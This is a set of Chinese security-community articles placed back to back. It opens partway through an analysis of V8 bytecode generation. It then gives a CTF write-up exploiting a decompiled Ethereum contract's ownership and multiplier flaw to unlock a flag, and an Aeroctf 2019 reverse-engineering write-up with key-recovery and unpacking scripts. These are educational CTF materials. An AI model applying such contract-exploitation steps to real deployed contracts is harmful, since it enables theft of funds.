6. BuildGeneratorObjectVariableInitialization();
7. }
8. if (FLAG_trace) builder()->CallRuntime(Runtime::kTraceEnter);
9. //省略.........................
10. BuildIncrementBlockCoverageCounterIfEnabled(literal, SourceRangeKind::kBody);
11. VisitDeclarations(closure_scope()->declarations());
12. VisitModuleNamespaceImports();
13. builder()->StackCheck(literal->start_position());
14. if (IsBaseConstructor(function_kind())) {
15. if (literal->requires_brand_initialization()) {
16. BuildPrivateBrandInitialization(builder()->Receiver());
17. }
18. if (literal->requires_instance_members_initializer()) {
19. BuildInstanceMemberInitialization(Register::function_closure(),
20. builder()->Receiver());
21. }
22. }
23. VisitStatements(literal->body());
24. if (!builder()->RemainderOfBlockIsDead()) {
25. builder()->LoadUndefined();
26. BuildReturn();
27. }
28. }
上面第11行代码的作用是分析全局变量、生成bytecode。分析样例代码的全局变量时会执行以下功能：
1. BytecodeArrayBuilder& BytecodeArrayBuilder::LoadConstantPoolEntry(
2. size_t entry) {
3. OutputLdaConstant(entry);
4. return *this;
5. }
6. //分隔线============================
7. #define DEFINE_BYTECODE_OUTPUT(name, ...)
上面第3行代码的作用是把全局变量名称写入常量池（稍后解释）。在Bytecode运行期间，通过`LdaGlobal`指令取出常量值。`OutputLdaConstant()`方法由宏模板`DEFINE_BYTECODE_OUTPUT`实现，请读者自行展开。最终进入`EmitBytecode()`方法，该方法会生成字节码，源码如下：
1. void BytecodeArrayWriter::EmitBytecode(const BytecodeNode* const node) {
2. //省略..........
3. for (int i = 0; i < operand_count; ++i) {
4. switch (operand_sizes[i]) {
5. case OperandSize::kNone:
6. UNREACHABLE();
7. break;
8. case OperandSize::kByte:
9. bytecodes()->push_back(static_cast<uint8_t>(operands[i]));
10. break;
11. case OperandSize::kShort: {
12. uint16_t operand = static_cast<uint16_t>(operands[i]);
13. const uint8_t* raw_operand = reinterpret_cast<const uint8_t*>(&operand);
14. bytecodes()->push_back(raw_operand[0]);
15. bytecodes()->push_back(raw_operand[1]);
16. break;
17. }
18. case OperandSize::kQuad: {
19. const uint8_t* raw_operand =
20. reinterpret_cast<const uint8_t*>(&operands[i]);
21. bytecodes()->push_back(raw_operand[0]);
22. bytecodes()->push_back(raw_operand[1]);
23. bytecodes()->push_back(raw_operand[2]);
24. bytecodes()->push_back(raw_operand[3]);
25. break;
26. }
27. }
28. }
29. }
根据`case`条件生成不同的Bytecdoe，把Bytecdoe用`bytecodes()->push_back()`写入BytecodeArray。
返回到GenerateBytecodeBody()的第23行代码，`VisitStatements()`的作用是分析AST并生成Bytecode，源码如下：
void BytecodeGenerator::VisitStatements(
const ZonePtrList<Statement>* statements) {
for (int i = 0; i < statements->length(); i++) {
// Allocate an outer register allocations scope for the statement.
RegisterAllocationScope allocation_scope(this);
Statement* stmt = statements->at(i);
Visit(stmt);
if (builder()->RemainderOfBlockIsDead()) break;
}
}
遍历AST生成Bytecode时，会递归调用`VisitStatements()`方法，图1给出了调用堆栈，供读者分析。
## 3 延期常量池
**注意** `常量`不是编程语言中的常量，而是编译器生成的包括各种标识符在内的信息表，即延期常量池，请注意区分！
`延期`的含义是要为在编译阶段无法确定的执行路径预留位置，待后面确定时再填充，举例说明如下：
function test(x)
{
if(x>0)
add3(x);//x=x+3
dosomething........
}
生成`test()`的字节码时，要把`add3()`的调用地址填充到常量池中。如果此时`add3()`还没有被编译，就预留一个位置，等到`add3()`有调用地址时再填充，这就是延期填充。
生成字节码的入口函数如下：
1. Handle<BytecodeArray> BytecodeGenerator::FinalizeBytecode(
2. Isolate* isolate, Handle<Script> script) {
3. DCHECK_EQ(ThreadId::Current(), isolate->thread_id());
4. AllocateDeferredConstants(isolate, script);
5. if (block_coverage_builder_) {
6. info()->set_coverage_info(
7. isolate->factory()->NewCoverageInfo(block_coverage_builder_->slots()));
8. if (FLAG_trace_block_coverage) {
9. info()->coverage_info()->Print(info()->literal()->GetDebugName());
10. }
11. }
12. if (HasStackOverflow()) return Handle<BytecodeArray>();
13. Handle<BytecodeArray> bytecode_array = builder()->ToBytecodeArray(isolate);
14. if (incoming_new_target_or_generator_.is_valid()) {
15. bytecode_array->set_incoming_new_target_or_generator_register(
16. incoming_new_target_or_generator_);
17. }
18. return bytecode_array;
19. }
上面第4行代码的作用是构建延期常量池（DeferredConstants），源码如下：
1. void BytecodeGenerator::AllocateDeferredConstants(Isolate* isolate,
2. Handle<Script> script) {
3. // Build global declaration pair arrays.
4. for (GlobalDeclarationsBuilder* globals_builder : global_declarations_) {
5. Handle<FixedArray> declarations =
6. globals_builder->AllocateDeclarations(info(), script, isolate);
7. if (declarations.is_null()) return SetStackOverflow();
8. builder()->SetDeferredConstantPoolEntry(
9. globals_builder->constant_pool_entry(), declarations);
10. }
11. // Find or build shared function infos.
12. for (std::pair<FunctionLiteral*, size_t> literal : function_literals_) {
13. //省略..................
14. }
15. // Find or build shared function infos for the native function templates.
16. for (std::pair<NativeFunctionLiteral*, size_t> literal :
17. native_function_literals_) {
18. //省略..................
19. }
20. // Build object literal constant properties
21. for (std::pair<ObjectLiteral*, size_t> literal : object_literals_) {
22. ObjectLiteral* object_literal = literal.first;
23. //省略..................
24. }
25. }
26. // Build array literal constant elements
27. for (std::pair<ArrayLiteral*, size_t> literal : array_literals_) {
28. //省略..................
29. }
30. // Build class literal boilerplates.
31. for (std::pair<ClassLiteral*, size_t> literal : class_literals_) {
32. //省略..................
33. }
34. // Build template literals.
35. for (std::pair<GetTemplateObject*, size_t> literal : template_objects_) {
36. //省略..................
37. }
38. }
上面第4~10行代码：取出全局变量信息存入常量池。其中第9行代码`constant_pool_entry()`的作用是获取常量池入口，其余代码负责把引用的sharedfunction、constant
property等添加到常量池。常量池的类型是FixedArray，请读者自行分析。
## 4 收尾工作
返回到`FinalizeBytecode()`函数的第13行，源码如下：
1. Handle<BytecodeArray> BytecodeArrayBuilder::ToBytecodeArray(Isolate* isolate) {
2. DCHECK(RemainderOfBlockIsDead());
3. DCHECK(!bytecode_generated_);
4. bytecode_generated_ = true;
5. int register_count = total_register_count();
6. if (register_optimizer_) {
7. //寄存器优化，请自行分析
8. }
9. Handle<ByteArray> handler_table =
10. handler_table_builder()->ToHandlerTable(isolate);
11. return bytecode_array_writer_.ToBytecodeArray(
12. isolate, register_count, parameter_count(), handler_table);
13. }
上面第9行代码：获取bytecode handler
table（字节码处理程序表），它保存了字节码处理程序的地址。第11行代码进入ToBytecodeArray(),源码如下：
1. Handle<BytecodeArray> BytecodeArrayWriter::ToBytecodeArray(
2. Isolate* isolate, int register_count, int parameter_count,
3. Handle<ByteArray> handler_table) {
4. DCHECK_EQ(0, unbound_jumps_);
5. int bytecode_size = static_cast<int>(bytecodes()->size());
6. int frame_size = register_count * kSystemPointerSize;
7. Handle<FixedArray> constant_pool =
8. constant_array_builder()->ToFixedArray(isolate);
9. Handle<BytecodeArray> bytecode_array = isolate->factory()->NewBytecodeArray(
10. bytecode_size, &bytecodes()->front(), frame_size, parameter_count,
11. constant_pool);
12. bytecode_array->set_handler_table(*handler_table);
13. return bytecode_array;
14. }
上面第7行代码生成常量池，第9行代码进入NewBytecodeArray()方法，源码如下：
1. Handle<BytecodeArray> Factory::NewBytecodeArray(
2. int length, const byte* raw_bytecodes, int frame_size, int parameter_count,
3. Handle<FixedArray> constant_pool) {
4. DCHECK_LE(0, length);
5. if (length > BytecodeArray::kMaxLength) {
6. isolate()->heap()->FatalProcessOutOfMemory("invalid array length");
7. }
8. // Bytecode array is AllocationType::kOld, so constant pool array should be
9. // too.
10. DCHECK(!Heap::InYoungGeneration(*constant_pool));
11. int size = BytecodeArray::SizeFor(length);
12. HeapObject result = AllocateRawWithImmortalMap(size, AllocationType::kOld,
13. *bytecode_array_map());
14. Handle<BytecodeArray> instance(BytecodeArray::cast(result), isolate());
15. instance->set_length(length);
16. instance->set_frame_size(frame_size);
17. instance->set_parameter_count(parameter_count);
18. instance->set_incoming_new_target_or_generator_register(
19. interpreter::Register::invalid_value());
20. instance->set_osr_loop_nesting_level(0);
21. instance->set_bytecode_age(BytecodeArray::kNoAgeBytecodeAge);
22. instance->set_constant_pool(*constant_pool);
23. instance->set_handler_table(*empty_byte_array());
24. instance->set_source_position_table(*undefined_value());
25. CopyBytes(reinterpret_cast<byte*>(instance->GetFirstBytecodeAddress()),
26. raw_bytecodes, length);
27. instance->clear_padding();
28. return instance;
29. }
上面第12行代码的作用是申请一段heap内存（堆对象），该内存用于存储生成的字节码，15~27行代码把生成的字节码存储到刚创建的堆对象中。
**技术总结**
**（1）**
常量池的作用是提供属性名称。在运行期间此名称可以找到对应的属性，提供被调用函数的地址等等，起到了辅助字节码执行的作用。常量池存储在字节码数组的0位置；
**（2）** 字节码生成后存储在堆对象中，该对象的类型是FixedArray；
**（3）** 字节码生成的本质是遍历AST树；
**（4）** 看懂并理解AST树节点的类型再分析字节码的生成会十分容易。
好了，今天到这里，下次见。
**恳请读者批评指正、提出宝贵意见**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
### 一、前言
时隔这么多天终于有时间把当时数字经济第二道区块链题目拿来复现。感觉第二题更偏向逻辑方面的漏洞，说白了就是来考察做题人对合约的逆向能力。总结来说，以太坊的漏洞相对于其他类型问题来说还算是非常少的，所以逆合约是一个非常重要的手段，只要能完美的逆出来合约，剩下的就相对容易许多。
比赛包括两道题目，这里我们分析一下第二道题目，第一题我们见<https://xz.aliyun.com/t/6602>。
### 二、题目描述
如上图所述，拿到题目我们只能看到常规操作，即给了合约地址与发送flag的函数。为了加大难度，作者并没有给合约的源码信息，所以我们只能用最笨但是最有效的方法去逆合约。
读者可以访问这个网站来查询逆向合约信息：<https://ethervm.io/decompile/ropsten/0xc9B91F149d3699474a0E680D55da62FBD3a51485>
我们这里拿到了合约的函数信息，现在我们查看具体的函数代码，并尝试逆出来合约函数的具体含义。
这里我们放出关键代码：
function func_0293(var arg0) {
var var0 = 0x00;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
if (storage[keccak256(memory[0x00:0x40])] <= var0) { revert(memory[0x00:0x00]); }
var var1 = 0x0de0b6b3a7640000;
var var2 = msg.value;
if (!var1) { assert(); }
var0 = var2 / var1;
if (arg0 != storage[0x01]) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = 0x00;
storage[0x02] = 0x01;
return;
} else {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + var0 * storage[0x02];
storage[0x02] = 0x01;
return;
}
}
function func_03B2(var arg0) {
var var0 = 0x00;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
if (storage[keccak256(memory[0x00:0x40])] <= var0) { revert(memory[0x00:0x00]); }
if (arg0 & 0xffffffffffffffffffffffffffffffffffffffff == 0x00) {
var temp0 = var0;
var temp1 = temp0;
storage[temp1] = msg.sender | (storage[temp1] & ~0xffffffffffffffffffffffffffffffffffffffff);
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[temp0 + 0x01] = storage[keccak256(memory[0x00:0x40])];
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = 0x00;
return;
} else {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
var temp2 = storage[keccak256(memory[0x00:0x40])];
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = temp2;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = 0x00;
return;
}
}
function airdrop() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
if (storage[keccak256(memory[0x00:0x40])] != 0x00) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
}
function payforflag(var arg0) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
if (storage[keccak256(memory[0x00:0x40])] <= 0x0f4240) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = 0x00;
storage[0x02] = 0x01;
var temp0 = address(address(this)).balance;
var temp1 = memory[0x40:0x60];
var temp2;
temp2, memory[temp1:temp1 + 0x00] = address(storage[0x05] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp0 * 0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
var var0 = !temp2;
if (!var0) {
var0 = 0x7c2413bb49085e565f72ec50a1fb0460b69cf327e0b0d882980385b356239ea5;
var temp3 = arg0;
var var1 = temp3;
var temp4 = memory[0x40:0x60];
var var2 = temp4;
var var3 = var2;
var temp5 = var3 + 0x20;
memory[var3:var3 + 0x20] = temp5 - var3;
memory[temp5:temp5 + 0x20] = memory[var1:var1 + 0x20];
var var4 = temp5 + 0x20;
var var6 = memory[var1:var1 + 0x20];
var var5 = var1 + 0x20;
var var7 = var6;
var var8 = var4;
var var9 = var5;
var var10 = 0x00;
if (var10 >= var7) {
label_0823:
var temp6 = var6;
var4 = temp6 + var4;
var5 = temp6 & 0x1f;
if (!var5) {
var temp7 = memory[0x40:0x60];
log(memory[temp7:temp7 + var4 - temp7], [stack[-6]]);
return;
} else {
var temp8 = var5;
var temp9 = var4 - temp8;
memory[temp9:temp9 + 0x20] = ~(0x0100 ** (0x20 - temp8) - 0x01) & memory[temp9:temp9 + 0x20];
var temp10 = memory[0x40:0x60];
log(memory[temp10:temp10 + (temp9 + 0x20) - temp10], [stack[-6]]);
return;
}
} else {
label_0811:
var temp11 = var10;
memory[var8 + temp11:var8 + temp11 + 0x20] = memory[var9 + temp11:var9 + temp11 + 0x20];
var10 = temp11 + 0x20;
if (var10 >= var7) { goto label_0823; }
else { goto label_0811; }
}
} else {
var temp12 = returndata.length;
memory[0x00:0x00 + temp12] = returndata[0x00:0x00 + temp12];
revert(memory[0x00:0x00 + returndata.length]);
}
}
function func_0860(var arg0) {
if (msg.sender != storage[0x05] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
storage[0x01] = arg0;
}
function func_08C6(var arg0) {
if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
storage[0x02] = arg0;
}
function gift(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x04;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
function deposit() {
var var0 = 0x00;
var var1 = 0x0de0b6b3a7640000;
var var2 = msg.value;
if (!var1) { assert(); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + var2 / var1;
}
function balance(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x03;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
上文为核心关键函数的具体代码，我们为了分析题目需要具体的看如何达到满足flag调用函数的要求的。
function payforflag(var arg0) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
if (storage[keccak256(memory[0x00:0x40])] <= 0x0f4240) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = 0x00;
storage[0x02] = 0x01;
var temp0 = address(address(this)).balance;
var temp1 = memory[0x40:0x60];
上述代码作用为获取flag。其中关键点为`if (storage[keccak256(memory[0x00:0x40])] <= 0x0f4240) {
revert(memory[0x00:0x00]);
}`。我们发现要想调用该函数的最关键部分为满足memory[3]这个位置的书>0x0f4240，而0x0f4240为十进制的1000000。
即我们获得了我们的目标，即令我们的合约token>1000000即可。
### 三、解题步骤
我们对每个函数进行详细的分析。
首先我们来看：
function func_0293(var arg0) {
var var0 = 0x00;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
if (storage[keccak256(memory[0x00:0x40])] <= var0) { revert(memory[0x00:0x00]); }
var var1 = 0x0de0b6b3a7640000;
var var2 = msg.value;
if (!var1) { assert(); }
var0 = var2 / var1;
if (arg0 != storage[0x01]) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = 0x00;
storage[0x02] = 0x01;
return;
} else {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + var0 * storage[0x02];
storage[0x02] = 0x01;
return;
}
}
该函数需要满足用户的memory[3]的token>0，之后会对传入的参数arg0进行判定，如果该参数!=storage[1]的数，则进入，此时会赋予storage[3]为0，并将storage[2]为1
。
否则的话，storage[3]+=var0*storage[2]（这里var0位传入的以太币数量）
我们下面看另一个函数：
function func_03B2(var arg0) {
var var0 = 0x00;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
if (storage[keccak256(memory[0x00:0x40])] <= var0) { revert(memory[0x00:0x00]); }
if (arg0 & 0xffffffffffffffffffffffffffffffffffffffff == 0x00) {
var temp0 = var0;
var temp1 = temp0;
storage[temp1] = msg.sender | (storage[temp1] & ~0xffffffffffffffffffffffffffffffffffffffff);
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[temp0 + 0x01] = storage[keccak256(memory[0x00:0x40])];
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = 0x00;
return;
} else {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
var temp2 = storage[keccak256(memory[0x00:0x40])];
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = temp2;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = 0x00;
return;
}
}
该函数同样需要满足用户余额有钱（storage[3]>0），之后如果传入参数0，则storage[0]赋值为msg.sender()、storage[1]=
storage[3]（将用户token赋值给storage[1]）；
或者使得storage[arg0] = storage[3]，并还原storage[3]=0。
下面我们来看空投函数。一般空投函数都是用来给用户送钱的。
function airdrop() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
if (storage[keccak256(memory[0x00:0x40])] != 0x00) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
}
该函数要求用户的storage[4]不等于0，而这里的storage[4]应该就是记录该用户是否已经调用过空投函数（毕竟用户不能一直调用，否则不是薅羊毛了吗hhh）。
然而往下看我们会发现，调用了该函数后系统似乎并没有对storage[4]初始化，而是用storage[3]覆盖了storage[4]，并且将storage[3]++。
这里其实有一个点可以利用，如果它没有对storage[4]进行操作，那么storage[4]就永远为0，此时该函数可以一直被调用，从而调用100000次令storage[3]=100000，从而获得flag。不过这个方法太笨重了，非常不切实际，所以我们还是正常去做。时间花费过多，难度很大。
function func_0860(var arg0) {
if (msg.sender != storage[0x05] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
storage[0x01] = arg0;
}
该函数判断storage[5]是否为msg.sender，并将storage[1]任意赋值。
function func_08C6(var arg0) {
if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
storage[0x02] = arg0;
}
同上函数，storage[0]需要==msg.sender，之后storage[2]赋值为任意值。
function gift(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x04;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
gift函数传入arg0，这里arg0应该是一个地址，然后就可以返回该地址对应的storage[4]的值。
function balance(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x03;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
而balance返回对应地址的storage[3]的值 。
function deposit() {
var var0 = 0x00;
var var1 = 0x0de0b6b3a7640000;
var var2 = msg.value;
if (!var1) { assert(); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + var2 / var1;
}
而`deposit`函数令storage[3]+value，即给合约的token充钱。
那么我们怎么利用上述的函数来使得我们的合约token>1000000呢？
我们注意到里面唯一能大量修改代币的函数为`func_0293`中的else函数。如下图所示。
我们在这里给一个解决方案供读者参考。
* deposit() 传入value=1 ether
* func_03B2(0)
* func_08C6(1000000)
* deposit() 传入value=2 ether
* func_0293(1)
* payforflag(b64email)
下面我们来走一遍相关函数，并查看相关storage的数据变化情况。
首先初始化堆栈情况，如下图所示：
首先调用deposit()，传入1 ether(1000000000000000000)：
之后调用 func_03B2(0)，传入参数0：
函数要求token>0，我们满足，于是进入函数。
arg0=0所以进入第一个条件，最终得到：
之后为func_08C6(1000000)。
满足条件，进入函数，得到：
调用deposit() 传入value=2 ether：
最后调用：func_0293(1)
storage[0x01]=1，arg0参数=1，传入value=2，所以进行下面的条件语句：
所以`storage[temp0] = storage[temp0] + var0 * storage[0x02]`=`storage[3] =
storage[3] + 2 * 1000000;`
即我们得到storage[3]=2000002>1000000。满足题目条件，此时可以调用flag函数获取flag了。
为了验证自己是否真正调用获取flag函数，我们可以到event事件中查看是否调用成功：
<https://ropsten.etherscan.io/address/0xc9b91f149d3699474a0e680d55da62fbd3a51485#events> | 社区文章 |
# Aeroctf2019 中逆向和pwn的writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## AEROCTF
[Aeroctf](http://aeroctf.com/challenges) 是 Moscow State Technical University
of Civil aviation举办的CTF，题目大多和飞机有关，涉及了飞机、安全和航空固件等内容，同时具备战斗民族的属性——不走寻常路。
## 逆向
### key checker
[题目](http://aeroctf.com/files/6921ce3540c49e34969dab8f22bde55f/keychecker.s)提供了一个keychecker.s文件，.s文件是.c文件编译成为汇编的结果，还没输出成为可执行文件。
.file "keychecker.cpp";
.section .ctors,"aw",@progbits
.align 4
.long __GLOBAL__I_main
.section .text._ZSt3minImERKT_S2_S2_,"axG",@progbits,_ZSt3minImERKT_S2_S2_,comdat
.align 4
.weak __ZSt3minImERKT_S2_S2_
.type __ZSt3minImERKT_S2_S2_, STT_FUNC;
__ZSt3minImERKT_S2_S2_:
L$LFB$1603:
LINK 4;
L$LCFI$0:
[FP+8] = R0;
[FP+12] = R1;
P2 = [FP+12];
R1 = [P2];
P2 = [FP+8];
R0 = [P2];
cc =R1<R0 (iu);
if !cc jump L$L$2;
R0 = [FP+12];
[FP+-4] = R0;
jump.s L$L$4;
...
.align 4
L$LEFDE$11:
.ident "GCC: (GNU) 4.2.0"
一般的解法是利用gcc继续输出成为可执行的文件，以下是来自stackoverflow的说明
Yes, You can use gcc to compile your asm code. Use -c for compilation like this:
gcc -c file.S -o file.o
This will give object code file named file.o. To invoke linker perform following after above command:
gcc file.o -o file
然而，这次提供的.s文件汇编十分偏门，既不是x86，也不是arm，而且gcc版本很低很奇怪（现在一般都是7/8），查了很久才知道是blackfin的汇编，可以参考[这篇](http://bfincn.blogspot.com/2008/11/blackfin_22.html)文章。
找到了blackfin的gcc，在[这个网站](https://sourceforge.net/projects/adi-toolchain/files/)下载了windows版toolchain，可以利用bfin-uclinux-gcc将其编译成为可执行文件，但是由于固件的独特性，找不到运行环境，所以上面这些努力有点白费。
不过汇编都是类似的，在lyx师傅的指导下，直接静态刚汇编。
在`__ZZ4mainE4C.92:`提供了一组常量
汇编每轮都在进行异或和加的操作，每轮对加和异或的因子进行+1
解题脚本
s = [int(i) for i in """
79
111
130
133
113
...
119
""".split("n") if i!='']
add_factor = 3
xor_factor = 13
index = 0
result = ""
for i in range(len(s)):
result += chr((s[i] - add_factor)^xor_factor)
print result
add_factor += 1
xor_factor += 1
解得Aero{ec952bccabe30c7d6fd36cb465a3c897}
### engine firmware
We have part of the GE90 engine firmware, which is responsible for the rotors.
This engine behaved strangely in one of the flights and it was decided to send
it for diagnosis. Look at the firmware, maybe you will find the reasons for
strange behavior.
这题开始就看出是航空学校出的题，大意是要找出引擎为什么失灵（为啥不是近期某热点7*7呢）
查看类型是MIPS程序，且无符号信息。
engine_firmware: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=c58560839cce5f889fb021464b1c6c215130b49e, stripped
上Qemu+IDA调试
qemu-mips -strace -g 23946 engine_firmware
一开始让程序运行，怎么都没有输入的地方，感觉要脑洞了。发现程序一直在0x400AC8(func_select)中循环，如果跳出此函数就提示Crash the
engine starting!，符合题目中分析故障原因的要求。
查找字符串，定位到secret key所在函数0x4008E0，看到这里
继续交叉引用网上查找，发现在0x400b84处，强行修改跳转至0x400b8c，即可获得2次用户输入机会
根据strace的信息，第一次输入1024字节，第二次输入38字节
然后在第一次和第二次输入之间就进入了目标函数0x4008E0
**Ghidra分析**
由于IDA7.0对于mips只能调试，没有静态反汇编功能，所以使用近期比较热门的NSA开源工具Ghidra进行反汇编分析。
对0x4008E0进行了重命名为read_secretkey，内容如下
undefined4 read_secretkey(uint *puParm1)
{
uint uVar1;
char *key;
int idx;
uVar1 = *puParm1;
/* modify the last element */
FUN_0040a030(PTR_DAT_004a0d74);
key = (char *)FUN_00418de0(0x26);
read_key(0,key,0x26);
idx = 0;
DAT_004a0878 = (((((int)((uVar1 ^ 0x6ed) * 2 + 0x54) >> 1) - 0x31U ^ 0xfefe) + 0x1e) * 2 ^0xdede)
& 0xbe;
while( true ) {
if (0x25 < idx) {
print_out("Secret key is valid!nSet a hyper mode!");
return 0x539;
}
uVar1 = getVar();
if (((int)key[idx] ^ uVar1 & 0xff) != *(uint *)((int)&PTR_004a07dd + idx * 4 + 3)) break;
idx = idx + 1;
}
return 0xffffffff;
}
其中动态调试时发现， **第一次输入的内容只会传入1个字节到函数里** 。
经过一轮变换，存储在DAT_004a0878，即数组0x4a0e70的最后一个元素（如下图覆盖位0xb2）。最后一个元素由于& 0xbe，所以也会是1字节。
然后输入key，执行uVar1 = getVar(); 而getVar函数对数组最后一个元素进行变换（按4字节）
int getVar(void)
{
DAT_004a0878 = DAT_004a0878 * 0xdead + 0xc0de;
DAT_004a0878 = DAT_004a0878 + ((uint)(DAT_004a0878 != -1) ^ 1);
return DAT_004a0878;
}
然后进行比较判断
if (((int)key[idx] ^ uVar1 & 0xff) != *(uint *)((int)&PTR_004a07dd + idx * 4 + 3)) break;
等效于
key[idx] ^ uVar1 & 0xff == 0x4a0e70[idx]
**逆向**
由于没有分析第一次输入与传入函数内容的关系，但是由于最后一个元素&0xbe的关系，只有1字节，所以考虑用爆破方法
target = [int(i) for i in """
31 1 0 135
221 53 206 182
15 0 52 13
133 229 232 67
72 61 240 238
240 154 47 22
235 178 18 190
225 26 156 243
255 145 132 26
211 49 178
""".replace("n"," ").split(" ") if i!='']
print len(target),target
#第一次是0xb9528
def FUN_004012d4(target):
DAT_004a0878 = target[-1]
DAT_004a0878 = DAT_004a0878 * 0xdead + 0xc0de;
DAT_004a0878 = DAT_004a0878 + ((DAT_004a0878 != -1) ^ 1);
target[-1] = DAT_004a0878 & 0xffffffff
return target[-1]
for i in range(256):
#爆破数组最后一个元素
target[-1] = i
#逆推满足条件的输入
result = ""
for j in range(38):
uVar1 = FUN_004012d4(target)&0xff
result += chr(target[j] ^ uVar1)
print result
爆破结果中找到flag 为 Aero{94fa46539bc69bf665fef0f7f63a5625}
经过这题之后，发现 **qemu+IDA+Ghidra的组合非常好用！**
### experimental packer
To run the unpacked binary, use the following:
1. sudo apt-get install qemu qemu-user qemu-user-static
2. sudo apt-get install gdb-multiarch
3. sudo apt-get install ‘binfmt *’
4. ./a.out
题目提供了一个packer和打包后的文件，要求恢复打包前的文件执行即可。
在ida中查找字符串时，发现.go的字样，想起之前看到的一篇
[无符号Golang程序逆向方法解析](https://www.anquanke.com/post/id/170332)
的文章，于是使用了文章推荐的[IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
恢复go语言的函数
恢复效果不错，找到main_main的地方开始逆向，packer先构造了0xe字节的文件头
从0xe字节开始，然后使用lzw压缩对原文件进行压缩
网上找到一个go语言的解压缩算法，对0xe字节之后的内容进行解密
package main
import (
"compress/lzw"
"fmt"
"io"
"os"
)
func main() {
inputFile, err := os.Open("a.lzw")
if err != nil {
fmt.Println(err)
os.Exit(1)
}
defer inputFile.Close()
outputFile, err := os.Create("a.raw")
if err != nil {
fmt.Println(err)
os.Exit(1)
}
defer outputFile.Close()
// file.txt.lzw compressed by
// https://socketloop.com/references/golang-compress-lzw-newwriter-function-example
// litWidth is set to 8
lzwReader := lzw.NewReader(inputFile, lzw.LSB, 8) //<----- here !
if err != nil {
fmt.Println(err)
os.Exit(1)
}
defer lzwReader.Close()
io.Copy(outputFile, lzwReader)
}
恢复成为a.raw文件后，根据题目提示，运行得到flag
### malware engine
We have already damaged more than one engine from this firmware. The thing is
in some incomprehensible requirement to enter the key. We do not understand
where it came from, can you figure out what key is required to enter?
又是飞机引擎的问题，这回不用脑洞，直接输入key
file一下，是PowerPC的程序，没做过啊！
